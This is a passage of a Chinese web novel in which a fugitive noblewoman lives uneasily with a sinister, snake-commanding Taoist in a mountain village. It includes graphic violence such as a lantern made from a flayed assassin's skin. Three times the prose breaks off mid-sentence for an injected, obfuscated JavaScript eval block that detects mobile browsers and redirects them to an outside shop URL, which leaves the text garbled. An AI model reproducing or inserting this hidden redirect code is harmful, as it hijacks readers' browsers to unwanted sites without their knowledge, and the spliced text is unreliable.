“方才瞧见一团黑影，臭得很……”婆婆踮脚张望，她年纪大了，眼神不好反应还迟钝。 糟了，是尸体！ 李初棠巧妙挡住视线，“是大壮打的猎物，血淋淋的不好看。”她挽着老人往外走，“婆婆，正想请教您山上的事呢。” 她笑靥如花，任谁都难以拒绝。 “好伶俐的姑娘。”婆婆眉开眼笑，“难怪你男人肯为你私奔。” 李初棠笑容微僵，不用回头都能感受到身后冰冷的视线。 “有劳婆婆。”江道灼语气温和。 “不麻烦不麻烦。”老人拉着李初棠离去前，她回头使个眼色，示意他处理现场。 这种脏活，她才不干。 “婆婆怎么称呼？” “老身姓张，夫家姓林，叫我林张氏就好。” 老人白发苍苍，衣衫褴褛。李初棠心下酸楚，跟着她走在山径上。密林蔽日，不时传来嘶嘶声，树枝上盘绕着拇指粗的长蛇。 “这山本叫草山，因毒蛇多，大家都叫蛇山。”林张氏絮絮叨叨，“蛇皮能抵赋税，捕蛇的人越来越多，耕田的反倒少了……” 李初棠越听越忧心。要在这种地方生存，光有毒蛇猛兽还不够，竟还要与天争、与人斗。 来到一间茅屋前，林张氏不好意思道：“寒舍简陋，委屈姑娘了。” “婆婆客气了。”李初棠接过缺口的陶杯，看着水底浮尘，犹豫片刻还是一饮而尽。 既来之则安之，矫情不得。 “山上取水要去半里外的山涧，浣衣也在那处。听说后山有个冷泉，就是太偏，很少有人去……夜里蛇虫出没，千万莫要外出……”林张氏事无巨细地交代着。 李初棠越听眉头越紧。无衣无食，无床无轿，时时与危险为伴。 这不是生活，而是生存。 “婆婆家中几口人？” “原本有个儿子……”林张氏垂眸，“十三岁那年随神使夜猎，第二天就被人抬回来了。” “神使？” “就是蛇王的信使，蛇王是蛇神派遣到人间的领头人。蛇王神秘的很，一般不见人，我活了大半辈子都没见过，他老人家都是通过神使给我们传信……”老妪恭敬道。 “蛇王在哪儿？是男是女？” “嘘！”老人紧张地竖起手指，“蛇王能通灵，可号令群蛇，万万议论不得！” 李初棠将信将疑。 “捕蛇这般危险，为何还要去做？” “捕蛇发财的谁不眼红？久而久之，大家都靠这个过活。捕得越多，越受人敬重。” 这般逻辑，李初棠闻所未闻。 “当今圣上崇道，神使们听蛇王号召，把佛像改成了蛇神像。可惜没钱，否则庙宇也要改成道观呢。” 畅谈许久，李初棠口干舌燥，喝完一杯水。 “您说山上有市集？”临别时，她怀里塞满窝窝头，“改日能否带我瞧瞧？” “正好老婆子我缺个伴儿呢！咱们一起！”林张氏笑逐颜开。 辞别婆婆，李初棠绕道清晨遇袭的树林。她从不沉溺情绪，更愿付诸行动。 弓箭、短刀、袖箭、水囊、外衫……她将战利品打包妥当。性命攸关，终归要靠自己。 扛着大包小包回到破庙时，四周一片静谧。 正要推门，忽闻内里传来异响——不是寻常撕扯，而是某种湿滑黏腻的剥离声，间杂着微弱呻吟。 声响戛然而止。 “回来了？”江道灼的声音传来。 “嗯。” “不想做噩梦就别进来。” 李初棠从善如流，抱着包裹在台阶坐下。刺鼻的腥味从中传来，她捂住口鼻，隐隐生出不祥的预感。 半个时辰后，庙门开启。尸首与血迹已清理干净，江道灼正在庙旁砍竹。 “礼尚往来，这是给你的。”李初棠递过一件外衫。 他头也不抬地劈开竹节：“放着。” “要我帮忙吗？”她托腮观看。 回应她的是利刃破竹的嘶响。 “我们晚上睡这儿，要不要补补窗户？床铺没有也无妨，我睡地上就好。你呢？” “饿不饿？我去林张婆婆那儿讨些吃的？” “林张婆婆就是早上那位……” “嗤——” 弧形匕首猛地钉入竹节，裂帛之声刺耳。 江道灼眼含警告，“李大小姐实在闲得慌，不如去林里数数埋了几具尸首。” 李初棠嘟嘟嘴，立刻装哑巴。 他埋头干活，竹子被他分解成长短相等的小节。 李初棠把它们由下往上、由多到少叠放在一起，形成整整齐齐的山字，视觉效果十分舒适。 摆好木料，额头出了细密的汗。她意识到，这不仅是生活，也是生存。从今天起，她要和一个陌生的男人同居。 吃饭、出恭、起居睡觉都是问题！ 思及此，她提裙往外跑。 “去哪儿？”江道灼刀刮竹节，声线透着威胁。 李初棠到庙门口拿出水囊，回到他身边。 “给你拿水呀！”人家忙里忙外，她总不能什么也不做吧。 李初棠解开水囊，见他无动于衷，把水倒进他刚刚做好的竹节杯里，凑过去，踮起脚尖双手递给他。 “喏，大壮道长，辛苦啦！” 江道灼微不可查地皱了下眉，这人到底是不是高门贵女，这种恶劣环境还能元气满满。 他绷着嘴角未置一词，接过竹杯一饮而尽。 李初棠见天色已晚，想到什么，犹豫一会问出了口：“道长要不要再做两张床，晚上方便……” 江道灼掀起眼皮，一脸正经：“方便什么。” 李初棠被他问得一愣。 天底下哪儿有头回见面的男女共宿一榻的道理？是个人都能理解的事，他没任何反应。 李初棠觉得这人不正常，正要张嘴解释，就听到对方更为惊世骇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495106|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗的话：“不就是睡觉，一张床有什么不方便的，事多。” “……什么？！”她半晌找回舌头，脸红得发烫，“我抗议！我要有单独的床铺……” “嘴不是租来的就闭紧。”江道灼眯起眼睛，耐心告罄。 意识到危险，李初棠赶紧抿住嘴。 这么大的事就这样被他单方面决定了，甚至强势到不许她再质疑。 可恶！啪一声扔下水囊，她头也不回地走了。 “谁许你离开我的？” 她和桃木剑、银匕一样，皆属于他，只有守在身边才行。 江道灼放下手头的活儿，追了上去。 李初棠突然转身，“别跟着我！”她顿了顿，忍着气补充，“我去林张婆婆家，答应结盟我不会走，放心好了！” 一听这话，江道灼驻足，眉间稍霁：“随你。” 待她带着铁锤、铁钉、蜡烛回来后，江道灼麻利地打好一套竹桌椅。 林张婆婆家没有多余的床榻。 他只做了一张竹床，就别怪她先发制人。但凡懂事的男子，都不好意思让姑娘睡地上。 “谢谢道长。”李初棠故作谦让，“其实，我真不忍心看你睡地上，可你也知道我是个女儿家……” “好啊。”他从善如流，“我睡床，你睡地。” 李初棠：“……” 怜香惜玉和谦虚礼让，从没植入过他的意志。 李初棠气结。只知这人不按常理出牌，不想厚颜无耻的程度也能突破天际！ 僵持的氛围愈发剑拔弩张。 正此时，林张氏笑吟吟端着食盘出现：“饿了吧？老婆子多做了些，别嫌弃！” 一盘清炒野菜，两碗米粥，朴素却温暖。 “多谢大娘！”李初棠双眼发亮。 江道灼放下工具，含笑拱手：“张姨费心，晚辈感激不尽。” 他笑时桃花眼微弯，任谁都难以抗拒。林张氏笑眯了眼，接过他递来的竹灯笼，连声道谢着离去。 “你何时做的灯笼？”李初棠点亮另一盏。 烛光透过竹编灯罩，洒下朦胧暖光。江道灼摆好桌椅，两人对坐檐下，就着灯火用饭。 结束了一整天的奔波，饥肠辘辘的李初棠尝了口野菜，虽粗糙却暖心，她心底生出劫后余生的喜悦。 “你不用膳？” 江道灼倚坐竹椅，姿态闲适：“修道之人，不重口腹之欲。”何况他辟谷多年，不吃不喝也没问题。 “阿青招了什么？”李初棠又问。 “他是公主府的死士，取你性命。” 李初棠并不意外。继母重华公主手眼通天，处处提防着她。贸然下山太过危险，先在山上缓缓，看看情况。 她抬眸偷瞄对面道长。 这人好像不太愿意放她走。 既要山中生存，少不得用钱。她的盘缠在丫鬟蓉儿那儿，身边有些散碎银子，不知能熬几天。 她放下竹筷，“明天山里有市集，我想变卖首饰换些用度。要不要同去？” 江道灼摆了她一眼，“玄门中人，不谈黄白之物。” 真装！ 李初棠腹诽：挖人眼珠子就不想自己是方外之人了。 心里骂的狠，嘴上甜如蜜：“明日我去市集，劳烦道长再做张床板，事先谢过啦！” 对方没搭话。 李初棠就当他默认！ 吃饱饭起身，她端详灯笼，指尖抚过灯面。触手细腻温润，材质好生特别。 不得不说，这人手很巧。 “这用什么做的？”李初棠随口问。 “用阿青做的。” 李初棠：“？？？” 江道灼抬眸，语气平静如常，“他嘴太硬，只好剥皮。” 她指尖一颤，灯笼险些脱手。 烛光映照下，灯罩呈现出诡异的肉粉色，上面依稀可见未处理干净的血管脉络。 李初棠浑身汗毛倒竖，胃里翻江倒海，刚刚吃的东西差点吐出来。强忍着才没失态。 “山间夜路黑，缺盏灯。”他慢条斯理地擦拭银刀，“他那身皮倒是厚实耐用。” 他语气随意，像在聊吃饭睡觉一样窸窣平常之事。 李初棠压制着内心恐惧，冷汗已浸湿额发。 她颤声：“你、你何必如此……” 江道灼抬起漂亮的桃花眼。人皮灯笼的柔光映在他苍白的脸上，平添几分妖异。 他露出微笑：“动我的人，便是这个下场。” 5. 05 李初棠许久才缓过来。 江道灼欣赏着她惊魂未定的表情，信手提起腰间那柄崭新的拂尘。 李初棠双目骤然一缩。 黑色拂尘丝绦柔亮如绸，光泽幽深，那质感像是…… “……阿青的头发？”她指着拂尘，声音微涩。 江道灼跨过门槛，口吻随意：“不想换成你的，就别多问。” “你要去哪儿？” “庙里等着。”他头也不回消失在暮色中。 庙内，李初棠收拾好散乱的桌椅，精疲力尽地侧躺于竹床之上，腰酸腿软。 她合上沉重的眼皮，正欲沉入梦乡，身下竹床却蓦地一沉。 有人不容置疑地压了上来。 李初棠周身一僵，警铃大作，屏息不敢乱动。 随即，耳边传来窸窣的解衣声，她的心跳也随之擂鼓。 江道灼坐在床沿，正解着腰带，周身携着未散的水汽，发梢微湿。 李初棠鼓起勇气扭头，蹙眉瞪他：“你做什么？” 跳跃的烛火为他镀上一层柔光，削弱了几分危险气息。 江道灼垂眸，动作未停：“这还用问。” 睡觉这么寻常的事，完全不值得大惊小怪，即使身旁躺着一位相识仅一日的妙龄女子。 李初棠眼神恳求地望着他，对方不解其意，毫不犹豫解带，外袍丝滑褪下。 “你……不知礼数为何物吗？”她急了。 江道漠然瞥她一眼，当面扯开里衣系带。衣衫微垮，线条分明的胸腹肌理在烛光下若隐若现。 李初棠何曾见过这阵仗，惊骇之下转身躺倒，速度快得卷起一阵微风。 江道灼讥诮看她这番动作，像在看戏台上的丑角。 “你未免太高看自己。”他语带嘲讽。 此话如同火上浇油。 “要你管！”她双手环胸，留给他一个紧绷的后脑勺。 身处无名深山，与一个相识不过一日、身份成谜、手段狠戾的人，缔结了这般不正常、不平等、相看两眼的契约关系。 还有比这更糟的境况吗？ “醒醒。”身后传来他不耐的声音。 李初棠紧闭双眼，佯装未闻。 “别装了。”他伸手，精准戳向她肋下。 李初棠如炸毛的猫儿：“你干什么！” “上药。”他命令道，不容置疑。 李初棠梗着脖子回头，下一刻呼吸微窒。 他半侧过身，白皙的皮肤覆着一层薄而韧的肌肉，自手臂至胸腹，腰身紧窄收束。 她的目光凝滞，随即飞快垂睫，仿佛被烫到。 江道灼屈指敲敲身旁药瓶，唤回她的神思。 漆黑一片的破庙里，忽而变得极静，柔和的月光斜窗洒下照亮李初棠通红一片的脸颊。 他就这样抱臂等待她，耐心在一点点消散。 李初棠别无选择，打开药瓶。 他转身，露出伤痕交错的后背。 犹豫片刻，指尖终是触上那些紧实肌理上的新旧伤疤。 有些旧伤纹路奇特，不似中原兵器所致，更像少数族裔的纹身和图腾。其间散布着或红或青的圆斑、针孔，状若中毒之兆。 她压下心头疑虑，仔细将药粉撒在新增的刀痕上。 江道灼慵懒盘坐，一股陌生的不适感随着她纤细指尖的游走，悄然蔓延至肌肤之下。 这是他从未有过的体验。 他扬了扬眉，出声警告：“若敢妄动，下场比阿青更惨。” 正专心敷药的李初棠：“？？？” 真有病。 她强忍不忿，视线落回他的伤口。清晨恶战后，皮开肉绽之处竟愈合了大半，部分刀口甚至开始结痂。 这人什么体质？恢复得如此之快！ 李初棠狐疑地偷看他。 血液发黑，引蛇助阵，道长装扮不似作伪，京话夹着南疆口音，周身弥漫草药味…… 她在江南时曾听大夫说，南疆多奇人异士，江湖游医手段莫测。 李初棠疑窦丛生。 短暂同行，无需推心置腹。 煎熬的敷完药，她尚未收拾好药瓶，江道灼以臂为枕侧卧于床。褪下的衣袍没有穿好，松松环在腰间。 “你睡这儿，我睡哪儿？”李初棠蹙眉。 江道灼动作微顿：“床加宽了看不出来？” 李初棠领悟言外之意。 她抢先占床，本意是逼他打地铺，谁知他竟打算同榻而眠。 不愧是南疆人，化外之地，不循礼法。一点男女观念都没有！ 李初棠心一横：“无妨，我睡地上。” 幸好取回了刺客衣物，铺在地上能防潮。 她刚要起身，腰后的绦带被两指勾住。 江道灼稍一用力，她不由自主向后倒去，跌回他身侧。 “不许离开我。”他的药丹，他要亲自看守。 李初棠又恼又惧，只好隐忍。 愤然转身，力求眼不见为净。 深夜破庙万籁俱寂，山风偶尔掠过。春寒料峭之际，李初棠不觉寒冷，反觉体内一股无名燥热升腾。 从未动过如此大的肝火，五脏六腑焚灼得厉害。 身体明明疲惫不堪，闭目酝酿许久，却无半分睡意。 定是因为床榻另一端有外人。 李初棠索性睁眼，扭头望向对面。 江道灼面朝里侧卧，食指松松缠绕着她的绦带。他闭目时，鼻梁高挺，长睫几乎垂落至卧蚕，静默的时候还挺好看。 漂亮得像南风馆里的小倌。李初棠心想。 “还没睡。”他骤然睁眼，吓得李初棠心跳漏了一拍。 她惊魂未定：“你……你何时醒的？” “你睁眼时，气息变了。” 李初棠：“……” “为什么不睡。” “心急如焚，被你气的。” 江道灼心念微转，莫非是血丹之效？ “闭眼。”他命令。 李初棠依言合眼，随即听闻耳畔响起银笛之声。音调诡谲迷离，不知何故，她只觉头脑愈发昏沉，恍若笛音中掺了迷药。 意识彻底沉沦前，她心道，这南蛮野人，果然会邪术…… 待她呼吸平稳，沉入梦乡，江道灼笛音一转，又换了一曲。不久，窗外传来窸窣滑行之音，数条黑蛇闻声而至。 “替我看紧她。”江道灼对蛇群低语。 旋即，他行至熟睡的少女身旁，握住她的手，在指腹上轻轻一咬，缓缓含入口中。 片刻后，他回首，对领首的银环蛇下令：“即刻搜山，查找枭羽卫踪迹。” 银环蛇信子疾吐，发出嘶嘶之声，旋即率领蛇群悄无声息散去。 翌日，李初棠被破窗外的阳光刺醒。她眯开一线眼缝，见竹床另一侧空空如也，周身瞬间松弛，翻个身继续睡。 好像过了片刻，又似过了许久，李初棠悠悠醒来，揉着惺忪睡眼。 感官逐渐复苏，一股诱人食欲的香气扑鼻而来。 “醒了？”江道灼托着餐盘进来，目光掠过她慵懒神态，嘲讽一笑，“周公真是好客，让你流连忘返。” 李初棠面颊一热，慌忙背身整理微乱的衣衫。 她一边系带，一边问道：“婆婆送的饭食？” “自然。”身后传来碗筷摆放的轻响。 李初棠整理妥当起身，正大光明地打量竹桌旁的刘大壮。 他头戴银莲冠，崭新的黑色拂尘优雅搭在臂弯。额覆一指宽抹额，其上银纹繁复古老。腰带缠两圈红绳，其上悬缀黄符纸、小银笛、大小铃铛、一串铜钱及一枚大型镂空银制香囊。 周身佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495107|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰繁多，行走间竟寂然无声，恍若鬼魅。 李初棠问道：“昨夜去沐浴了？能不能告诉我在哪儿？” 与他这身齐整相较，她邋遢得如同乞儿。 江道灼答非所问：“用饭。” “我还没刷牙呢。”李初棠小声说。 江道灼动作微顿，面上浮起温和笑意：“李大小姐想要牙刷不难，我去阿青那里取来便是。” “不必不必！我能凑合！” 饥肠辘辘，她顾不得许多，坐下默默用起早饭。 江道灼道：“她说今天有市集。” 此话一出，久久没有回应。他挑眉看去，她正细细咀嚼口中食物。 李初棠指指自己嘴巴，示意不便言语。 江道灼抱臂静待，直至将脚下无意蹭到的小石碾成齑粉，她终于咽下那一块小咸菜。 “我去陪婆婆赶集，顺便帮她卖山货。” 江道灼神色一凝：“你最好不要蹚浑水，这里是深山老林。” “没事，我拿了袖箭，防身用的。”李初棠道，“你不放心可以同去，我不会逃跑的。” “随你。” 江道灼轻笑一声，一副无关紧要的态度。 李初棠暗暗撇嘴，心道昨天严防死守，今天居然如此大方。真是太阳打西边出来了。 能暂时离开他，李初棠求之不得。 她慢条斯理吃完饭。临走前，忽而感觉身后有视线一扫而光。 她下意识转身抬头，屋檐上连只鸟雀都没有。 难道是她的错觉？ 李初棠没多想，直接去了林张氏家。 婆婆挑着装满货品的竹筐刚要出门。 “婆婆，我来帮您！”李初棠接过扁担，肩头瞬间一沉。 “嘶——”她倒吸口气，这担子远比想象沉重！ 林张婆婆忙要接回：“海棠呀，你身子金贵，没做过粗活，还是我来。” 李初棠退后一步：“我先来，咱们轮流挑。” 她生平第一次做苦力，沿着崎岖山路行至市集后，肩头又肿又痛，似乎磨破了皮。 李初棠疼得直揉肩。 早知如此，让他跟来也好！ 此刻被她暗骂的江道灼，悠然坐于竹椅之上，垂眸睨着下方之人。 观澜俯身跪拜，鼻尖几乎要触到地面。 “属下该死！天祭大典生出此纰漏，连累国师受难。属下愿以死谢罪，求主上息怒！” 上首之位，国师指尖轻抚崭新拂尘，眼底冰封一片：“以死谢罪？你的命值几个钱？” 话音一落，江道灼瞥见下方那副身躯微微一颤。 “朝中现下如何。” 见他揭过话题，观澜松了口气，急道：“朝中无人主持，已乱作一团。那班文官闻您失踪，弹冠相庆，纷纷求见陛下，想要重启早朝。” “一群朽木，翻不起风浪。”江道灼漠不关心。 他只想知道是谁幕后布局，逼他至此。 “您不急着回去？”观澜问。 他暗中观察，主上似有安营扎寨的意味。 江道灼淡淡嗯了一声。 此处静谧，正好养伤。皇帝心不在朝，后宫暗流汹涌，储位之争愈演愈烈。他身居国师之位，处在权力漩涡，此番遭难绝非偶然。 不如暂时作壁上观，避开风头，引那幕后之人现身。 思忖间，昨夜那条银环蛇疾速游来。 江道灼懒洋洋道：“何事？” 银环蛇竖起身躯，信子急吐。 须臾，他瞳孔骤缩，“……她有危险？” 跪拜的观澜只听见衣袂破风之声，再抬头，上首竹椅倾倒在地。江道灼与他擦肩而过，仅余衣角残影。 “回观里取药材衣物！”江道灼声随人远，冷硬不容置疑，倏然补一句，“碗洗了再走！” 6. 06 山里市集设在山麓处，除了货币交换，还有更原始的物物交换，空气中弥漫着泥土气、嫩草香和人们身上的汗味。 李初棠和林张婆婆到了市集，卸下担子，开始拾掇摊位。初来乍到，她显得格格不入。 一双双毫不掩饰的眼睛黏在了她身上，探究、审视、估量，看得她脊背发僵，浑身不自在。 “娘们儿哪来的？”一个粗哑的男声毫不避讳，“柳条腰，馒头胸，大肥腚……跟妓.女似的。” “屁股大生儿子！”一个豁牙老头朝林张氏猥琐地大喊，“姓林的，她卖多少钱啊！俺给孙子讨个童养媳！” 言罢，一群男人围着李初棠爆发哄笑，各个眼露精光，像看砧板上的肥肉似的盯着她。 李初棠僵着涨红的脸，指尖掐进掌心。 十六年里，何曾受过这等羞辱？她心中冷笑，若非身陷囹圄，岂容山民放肆？ 眼下势单力薄，上山立足未稳，发生冲突有害无利。 老头见她忍让不语，愈发得寸进尺：“小娘们儿，别杵着了，过来让俺摸摸，看看皮肉紧不紧！” 李初棠心头火起，这些人简直毫无教养，不可理喻！ 她掏出贴身牙牌，冷脸道：“我警告你，再敢满嘴污言秽语，我便修书京城，让太师府派人抄了你家！” 一口标准的官话清脆有力，带着不容置疑的威严。 无知的山民愣了愣，他们重新打量李初棠。 小丫头底气十足，从衣衫料子到头顶玉簪，透着一股与偏僻山野格格不入的矜贵气，似乎真有来头。 看热闹的人群一时静默，目光中的嫉妒和排斥反而更浓了。 “装什么啊，白给俺都不要。呸！”老头弱弱啐了一口，声音却低了下去。 这时，一个戴着项链的老妪指着李初棠尖声道：“姑娘家的这么凶，愧你好意思当女人，当心没男人要！” 李初棠气笑了，这种无理取闹的指责倒是头回见。 这老妪衣着比旁人稍好，更惹眼的是，身边跟着一群马首是瞻的孩童。 林张氏见情况不妙，站出来当和事佬：“哎呦呦，红姨乃堂堂神使，德高望重的，哪会和你这不懂事的毛丫头一般见识！”她转向李初棠，“今日念你初来乍到，红姨才愿意和你多说两句话呢。这是神使好意提醒你，你自己心里透着美去吧！” 几句话哄得红姨面色稍霁，她贪婪地瞄了眼李初棠头顶的和田玉簪，哼了一声，扭身走了。 童男童女随红姨一走，人群渐渐散去。 林张氏凑近李初棠，小声提醒：“可别得罪红姨，她是神使，惹她没好果子吃。” 李初棠点头应下，默不作声帮林张婆婆铺开货摊，能听到尚未消散的议论。 “你说她像不像大户人家的小姐？” “大户人家小姐谁会跑咱们这山旮旯受苦？还敢搬出什么太师吓唬人，我看八成是个女骗子！谁不知道如今京城是国师说了算！” “就是就是，皇帝老儿信道，玄真道长一手遮天，跟二皇帝有什么分别？文武百官谁见了不腿软？” 一提到这位神秘的国师，有人脸上立刻浮现出敬畏之色：“听说他老人家能呼风唤雨，点石成金！唉，要是能来咱们山上显显灵多好，我朝他磕几个响头，没准儿当晚就能捕到最贵的金环蛇！” 又是这个臭名昭著的道人。 李初棠心下一沉。 这妖道恶名远扬，连民生凋敝的深山都有人如此怕他敬他。 看来父亲这些年在朝中不好过，竟被这等神棍压上一头。 各家摊位陆续摆好，村民们三三两两开始买卖。 林张婆婆的货摊上堆满了竹篮、竹筐和一些杂七杂八的编织物，看起来朴实无华。 李初棠拿出自己带来的几件耳环、簪子、项链，整齐摆开，打算换成现钱，解燃眉之急。 市集上往来多是妇人女子，她托腮坐在小马扎上，暗自盘算着一会儿赚到钱，先买米面还是牙刷。 一炷香的时间过去，货摊前只刮过一阵清冷的风，卷起几片枯叶。 李初棠站起身环顾四周，她们这处区位偏僻，周围摊位清一色都是竹制日用杂货，生意也都门可罗雀。 林张氏和旁边一个马脸大婶唠着家常。 李初棠忍不住问：“婆婆，咱们不是来卖东西的？” “嗐，村里就这点人，家家户户自己都会编点，哪有那么大需求。每次赶集能赚四五文钱就不错啦。老婆子我闷在家里闲得慌，赶集就为透透气，说说话。” 李初棠明白了，对于这些自给自足的山民，赶集赚钱并非首要，维系人情关系方是关键。她初来乍到，无根无基，绝不能像林张婆婆这么佛系随缘。 她仔细观察，发现这边主要以中老年为主，年轻女孩们大多聚集在另一头卖山货和布匹的区域。 得把潜在客户拉拢过来！ 顾不得大小姐的身份，李初棠深吸一口气，扬声道：“瞧一瞧看一看啦！京城的精巧首饰，点当贱卖，先到先得！卖完为止！” 作为一个刚刚引起轩然大波的外乡人，这元气十足的一嗓子，犹如平地惊雷，吸引了半片市集的注意。 “又是那女的？作什么妖？” “好像在卖首饰，我看她身上戴的挺好看，咱们过去瞧瞧！” 这回围过来的多是女子，有豆蔻年华的少女，也有徐娘半老的妇人，还有纯粹看热闹的婆子。她们看向李初棠的眼神复杂，好奇与戒备交织。 李初棠笑脸相迎。 “各位姐姐妹妹，乡亲婶婶，小女本是京城太师府里不受宠的女眷，名叫海棠。只因主母苛刻，非打即骂，她为了贴补娘家，硬要将我指给她身染恶疾的外甥……” 她情真意切说：“海棠实在走投无路，和真心待我的情郎私奔到此地。如今无力安家，只好贱卖首饰，糊口度日……” 李初棠信手拈来话本里的桥段，一边低声诉苦，一边拿起帕子按了按并无泪水的眼角。 她行走江南时，见多了这种博取同情的营销手段，此刻运用的十分熟练。 果不其然，围观的女子们有的面露同情，有的沉默不语，似乎都对她的话有所触动。 一个小姑娘道：“怪可怜的，我真想帮你，可是没钱。” “谁知道你说的是真是假，你一个外地人，让俺们怎么信你？”一个妇人提出质疑。 联想到刚才她和红姨的冲突，众人脸上浮现质疑。 “我可以给海棠担保，她是个实诚孩子，确实有个相好的后生，两人眼下无处可去，暂住蛇神庙，不信你们可以去瞧。”说话的是林张氏，她在村里向来是个老好人，她的话自然有几分可信度。 一些年纪小、心肠软的姑娘渐渐信了。 “林张氏啊，你怕不是收了人家好处，才帮她编瞎话吧！” 李初棠抬眸。 只见红姨去而复返，一脸不善地挤到前面，身后跟着几个老姐妹和一群孩童。 “一个外地的穿金戴银，城里不住跑上山？我看这些家当来路不正，八成偷的！大家可别上当，小心惹祸上身！” “就是就是，瞧她那伶牙俐齿的样儿，肯定是个江湖骗子！” 李初棠不气反笑：“各位姐妹，你们不信我，我能理解。这是你们的场子，只有你们欺负外乡人的份，我一人势单力薄，能占什么便宜？” “我贱卖首饰。得利的是你们，还怕什么？我就住蛇神庙，林张婆婆可以作证。若是买了不满意，大可找我退钱，难道我还能长翅膀飞走不成？” 她说话条理清晰，举止间自有一股见过大世面的镇定，让人不自觉信服。 红姨噎住了。 围观的女人窃窃私语，疑虑渐渐消散。 “……这个怎么卖呀？”一个花季少女怯生生地指了一支绒花。 “姑娘好眼力！这是采蝶轩的货，采蝶轩你们听说过吗？”李初棠煞有介事地问。 她一脸茫然的摇头。 李初棠换了说词：“这是京城最火的首饰铺子里，最时兴的东西！原来一支要卖三十两银子！我初来乍到，和你交个朋友，三十文一支，当是各位姐姐行善积德，帮衬我和情郎渡过难关了！” 价格不能定高，山民们积蓄有限，何况是二手首饰，尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495108|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变现才是上策。 “三十文啊……”那小姑娘摸了摸干瘪的钱袋，有些犹豫。 “好首饰自然要配好价钱，不然怎么对得起妹妹你这样水灵灵的脸蛋儿？”李初棠笑得亲切，“咱们女人啊，就是要对自己好一点。银钱是身外之物，花了还能再赚，青春无价，就得趁年轻好好打扮自己呀！姐姐你说是不是？” 一番话说得小姑娘心花怒放，脸颊泛红。 李初棠趁热打铁：“这样，妹妹，三十文拿走这支簪花，我再做主，送您一个林张婆婆编的竹帽！可好？”她说着，顺手拿起摊上一个小巧的竹帽，递了过去。 林张婆婆在一旁看着，嘴唇动了动，终是没出声。 小姑娘一看还有赠品，爽快地数出三十文铜钱。两人一手交钱，一手交货，完成了李初棠摊上的第一桩买卖。 李初棠热心帮小姑娘拆开原来的发辫，梳了个时兴的简单发髻，小心翼翼地将簪花戴好，拉着她的手，向众人展示一番。 “各位快看，美不美？！是不是话本里的仙子？” 小姑娘羞得满脸通红，眼里闪着欣喜的光。 “簪花名花有主啦！还剩这几件耳坠、手镯，每件都赠送林张婆婆的竹制品一件！先到先得，卖完可就没喽！” 围观的一看这架势，又见到实物戴上的效果，纷纷心动，七嘴八舌开始问价。 不一会儿，李初棠以极低的价格卖掉一只手镯。 摊位前顿时热闹起来，以红姨为首的几个老妇围在一旁冷眼旁观，年轻的女孩们热情地问东问西，凑热闹的小孩在人群里钻来钻去。 李初棠生意红火，一边招呼客人，一边维持秩序，顺手扶起一个差点撞到她的男童，继续推销剩下的饰品。 这边热火朝天，相邻的摊位愈发冷清。 李初棠手里叮当作响地数着铜板，旁边的几位摊主，包括和林张婆婆聊天的马脸大婶，双眼瞪着她，几乎要喷出火来。 “林张啊，你真是大方，人家拿着你辛苦编的东西，眼也不眨的送人咯！”马脸大婶忍不住阴阳怪气地拱火。 林张婆婆脸上挂不住了，低声道：“海棠啊，我做这些东西不容易，你怎么……怎么都不跟我商量一下就送人？” “婆婆您别急。”李初棠手上不停，低声解释，“退一步是为了进两步。先让利，引人过来，用了您编的东西,她们若觉得好，往后需要竹器第一个想的就是您。还愁以后没生意？” 李初棠拉过她的手：“放心啦，卖首饰赚的钱，分您一半，当是补偿您竹器的本钱和这几日的照拂。” 林张氏一听能分到一半钱，眼睛顿时亮了，那点不快烟消云散，笑得合不拢嘴：“这……这怎么好意思……” 马脸大婶见状，撇撇嘴，声音不大不小地嘀咕：“城里来的就是心眼多，一张小嘴叭叭的，死人都能说活了。” 李初棠耳朵尖，听见了也不动怒，笑吟吟地回敬：“婶子有空操心我，不如多想想怎么卖摊上的货。” 马脸大婶被噎得一口气梗在喉咙里，气得不行：“我不像你，专骗村里人的血汗钱！” 李初棠见她急了，一笑了之，不再理会，继续招呼客人。 忙活了一阵，带来的首饰卖掉大半。她仔细数了数赚来的铜钱，分了一半塞到林张婆婆手里。 林张氏又是欢喜又是惭愧：“哎呀，哪里需要这么多，折煞老婆子了……” “婆婆，您就收下吧。以后我和大壮在山上，少不得您照应。这钱就当是我们交的饭费。”李初棠语气诚恳，“您要是不收，就是不拿我当自己人。” 林张氏一听这话，不再推辞，美滋滋将钱揣兜里。 首战告捷，李初棠拿着剩下的铜板，打算买些日用品，目光扫过集市，锁定了一个卖猪毛牙刷的摊位。 “大爷，牙刷怎么卖？”她走过去，拿起两支看起来还算整齐的牙刷。 “五文一支，两支收你九文！”大爷爽快。 